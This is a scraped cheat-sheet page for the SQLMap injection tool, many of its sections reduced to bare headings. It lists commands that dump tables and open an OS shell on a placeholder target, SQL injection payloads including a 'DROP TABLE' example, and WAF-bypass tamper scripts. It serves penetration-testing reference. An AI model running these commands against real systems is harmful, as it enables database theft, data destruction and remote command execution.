githubEdit

SQLMap

Automated SQL injection detection and exploitation tool.

Install: apt install sqlmap or git clone https://github.com/sqlmapproject/sqlmap.git


Quick Reference

# Basic scan
sqlmap -u "http://target.com/page.php?id=1" --batch

# From Burp/ZAP request file
sqlmap -r request.txt --batch

# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch

# With cookies
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs

# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables

# Dump table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump

# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

Supported DBMS

DBMS
DBMS
DBMS
DBMS

MySQL

Oracle

PostgreSQL

MS SQL Server

SQLite

IBM DB2

MS Access

Firebird

Sybase

SAP MaxDB

MariaDB

CockroachDB


SQLi Types (--technique=BEUSTQ)

Char
Technique
Example Payload

B

Boolean-based blind

AND 1=1

E

Error-based

AND GTID_SUBSET(@@version,0)

U

Union query-based

UNION ALL SELECT 1,@@version,3

S

Stacked queries

; DROP TABLE users

T

Time-based blind

AND 1=IF(2>1,SLEEP(5),0)

Q

Inline queries

SELECT (SELECT @@version) FROM


Common Flags

Essential

Enumeration

Info Gathering

Tuning

OPSEC


Request Options

Cookies & Headers

HTTP Method

Mark Injection Point

Use * to mark specific parameter:

From Burp Request File

Example request file:


Database Enumeration

Step-by-Step

Search for Data

Schema


File Operations

Read Files

Write Files


OS Command Execution

Interactive Shell

SQL Shell


WAF Bypass

Anti-CSRF Token

Randomize Parameter

Calculated Parameter (e.g., hash)

Tamper Scripts

Common Tamper Scripts

Script
Description

space2comment

Replace spaces with /**/

between

Replace > with NOT BETWEEN 0 AND

randomcase

Random case keywords

equaltolike

Replace = with LIKE

base64encode

Base64 encode payload

charencode

URL encode characters

space2plus

Replace spaces with +

space2hash

Replace spaces with # (MySQL)

percentage

Add % before each character

modsecurityversioned

MySQL versioned comments

Other Bypass Options


Troubleshooting

Parse Errors

Save Traffic

Verbose Output

Through Proxy

Specify Prefix/Suffix


Level & Risk Settings

Level
Tests

1

Default - basic tests

2

Add Cookie testing

3

Add User-Agent/Referer testing

4

More payloads

5

Maximum - all boundaries

Risk
Tests

1

Default - safe tests

2

Add heavy time-based

3

Add OR-based (can modify data!)


SQLMap Over WebSockets

SQLMap doesn't natively support WebSockets. Use a Flask proxy to translate HTTP requests to WebSocket messages.

Flask Proxy Script

Setup & Run

Common WebSocket Payload Formats

Reference: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html


Useful One-Liners


Output Files

Results saved to: ~/.sqlmap/output/<target>/


Session Management

Last updated